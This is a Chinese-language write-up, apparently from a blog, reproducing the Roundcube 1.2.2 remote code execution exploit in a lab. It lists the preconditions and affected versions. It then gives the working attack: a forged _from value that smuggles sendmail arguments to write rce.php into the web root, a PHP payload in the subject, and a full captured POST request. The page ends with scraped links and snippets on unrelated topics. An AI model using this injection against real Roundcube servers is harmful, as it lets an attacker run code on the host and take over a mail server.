Roundcube 1.2.2 - Remote Code Execution
本文简要记述一下Roundcube 1.2.2远程代码执行漏洞的复现过程。
漏洞利用条件
- Roundcube必须配置成使用PHP的mail()函数(如果没有指定SMTP,则是默认开启)
- PHP的mail()函数配置使用sendmail(默认开启)
- 关闭PHP配置文件中的safe_mode(默认开启)
- 攻击者必须知道或者猜出网站根目录的[绝对路径]
- 需要有一个可登陆的[账号密码account]
影响版本
- 1.1.x < 1.1.7
- 1.2.x < 1.2.3
环境搭建
请参考:CentOS6 安装Sendmail + Dovecot + Roundcubemail
漏洞复现
本地环境:CentOS 6 + Roundcube 1.1.4
http://mail.roundcube.com/roundcubemail/
登陆已知的账号密码:user1/123456
抓包、拦截请求
更改_from字段为 ==>example@example.com -OQueueDirectory=/tmp -X/path/rce.php
假设已知path : /var/www/html/roundcubemail/logs
即
_from : example@example.com -OQueueDirectory=/tmp -X/var/www/html/roundcubemail/logs/rce.php
_subject : <?php phpinfo();?>
此时,目标机器logs目录下只有:
[root@mail logs]# pwd
/var/www/html/roundcubemail/logs
[root@mail logs]# ls
errors sendmail
发送请求后:
POST /roundcubemail/?_task=mail&_unlock=loading1523115020954&_lang=en&_framed= HTTP/1.1
Host: mail.roundcube.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:59.0) Gecko/ Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://mail.roundcube.com/roundcubemail/?_task=mail&_action=compose&_id=8701950545ac8e3ec3ef2b
Content-Type: application/x-www-form-urlencoded
Content-Length: 355
Cookie: roundcube_sessid=v1ngpuip33b0evfkh41n9vrne3; language=en; roundcube_sessauth=S96bb077eeec6c3e625627e36e22dad33da082e9b
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1 _token=20c83d18d2e20045cc1fa511dc98d4fb&_task=mail&_action=send&_id=8701950545ac8e3ec3ef2b&_attachments=&_from=example@example.com -OQueueDirectory=/tmp -X/var/www/html/roundcubemail/logs/rce.php&_to=user2%40mail.roundcube.com&_cc=&_bcc=&_replyto=&_followupto=&_subject=%3C%3Fphp+phpinfo%28%29%3B%3F%3E&editorSelector=plain&_priority=0&_store_target=Sent&_draft_saveid=&_draft=&_is_html=0&_framed=1&_message=Helo%2C+It%27s+a+Test%21%21%21
在浏览器端可以看到邮件成功发送:
在目标机器上便生成了rce.php文件:
[root@mail logs]# ls
errors rce.php sendmail
访问该php文件:http://mail.roundcube.com/roundcubemail/logs/rce.php
RCE...
参考资料
Roundcube 1.2.2 - Remote Code Execution
Roundcube 1.2.2 - Remote Code Execution的更多相关文章
- MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...
- CVE-2014-6321 && MS14-066 Microsoft Schannel Remote Code Execution Vulnerability Analysis
目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 这次的CVE和 ...
- Insecure default in Elasticsearch enables remote code execution
Elasticsearch has a flaw in its default configuration which makes it possible for any webpage to exe ...
- [EXP]Apache Superset < 0.23 - Remote Code Execution
# Exploit Title: Apache Superset < 0.23 - Remote Code Execution # Date: 2018-05-17 # Exploit Auth ...
- [EXP]ThinkPHP 5.0.23/5.1.31 - Remote Code Execution
# Exploit Title: ThinkPHP .x < v5.0.23,v5.1.31 Remote Code Execution # Date: -- # Exploit Author: ...
- [EXP]Microsoft Windows MSHTML Engine - "Edit" Remote Code Execution
# Exploit Title: Microsoft Windows (CVE-2019-0541) MSHTML Engine "Edit" Remote Code Execut ...
- Home Web Server 1.9.1 build 164 - CGI Remote Code Execution复现
一. Home Web Server 1.9.1 build 164 - CGI Remote Code Execution复现 漏洞描述: Home Web Server允许调用CGI程序来通过P ...
- [我的CVE][CVE-2017-15708]Apache Synapse Remote Code Execution Vulnerability
漏洞编号:CNVD-2017-36700 漏洞编号:CVE-2017-15708 漏洞分析:https://www.javasec.cn/index.php/archives/117/ [Apache ...
- Exploiting CVE-2015-2509 /MS15-100 : Windows Media Center could allow remote code execution
Exploiting CVE-2015-2509 /MS15-100 : Windows Media Center could allow remote code execution Trend Mi ...
随机推荐
- FFmpeg获取DirectShow设备数据(摄像头,录屏)
这两天研究了FFmpeg获取DirectShow设备数据的方法,在此简单记录一下以作备忘.本文所述的方法主要是对应Windows平台的. 1. 列设备 ffmpeg -list_devic ...
- 精通mysql之精通EXPLAIN
EXPLAIN列的解释: table:显示这一行的数据是关于哪张表的 type:这是重要的列,显示连接使用了何种类型.从最好到最差的连接类型为const.eq_reg.ref.range.indexh ...
- Java接口interface
Java接口interface 1.多个无关的类可以实现同一个接口. 2.一个类可以实现多个无关的接口. 3.与继承关系类似,接口与实现类之间存在多态性. 接口(interface)是抽象方法和常量值 ...
- Dynamics CRM 系统自定义部分的语言翻译
Dynamics CRM 自带语言切换功能,在官网下载所需语言包安装后,在设置语言中就能看到你所添加的语言,勾选要启用的语言应用即可,再打开系统设置--语言就能看到可更改用户界面语言的显示了. 但官方 ...
- (NO.00001)iOS游戏SpeedBoy Lite成形记(十三)
游戏特效部分就先这样了,因为毕竟是Lite版本,而且是第一个App,所以咱们把主要精力放在游戏可玩逻辑上吧(虽然已经厚颜无耻的加了不少特效了). 说句题外话:游戏美工是独立开发者不可逾越的鸿沟,是无法 ...
- Android进阶(十六)子线程调用Toast报Can't create handler inside thread that has not called Looper.prepare() 错误
原子线程调用Toast报Can't create handler inside thread that has not called Looper.prepare() 错误 今天用子线程调Toast报 ...
- 嵌入式C语言查表法的项目应用
嵌入式C实战项目开发技巧:如果对一个有规律的数组表进行位移操作 就像下面的这个表 之前写过上面这个标题的一篇文章,讲的是以位移的方式去遍历表中的数据,效率非常高,但是,如果要实现一个乱序的流水灯或者跑 ...
- 【60】Spring总结之基础架构(1)
为什么用Spring? Spring一直贯彻并遵守"好的设计优于具体实现,代码应易于测试",这一理念,并最终带给我们一个易于开发.便于测试而又功能齐全的开发框架.概括起来Sprin ...
- 浅谈C之精华---指针
今天是2016年的第一天,祝大家元旦快乐!哎,今天有点倒霉,代码写到一半,突然机子就没电了,幸好有保存,否则今天没有这篇日志的出现. 好了,今天以我个人的角度来深度剖析一下C语言中关于指针的用法以及注 ...
- C语言之数值计算--级数算法
在编程语言的学习中,我们学习过不少的算法,比如累加,累乘,数值交换,排序等等.在一些软件比赛和面试题中,有一类算法不容忽视,属于高频题目,我之前去企业面试的时候就遇到这样的一类题目,题目不算难,掌握方 ...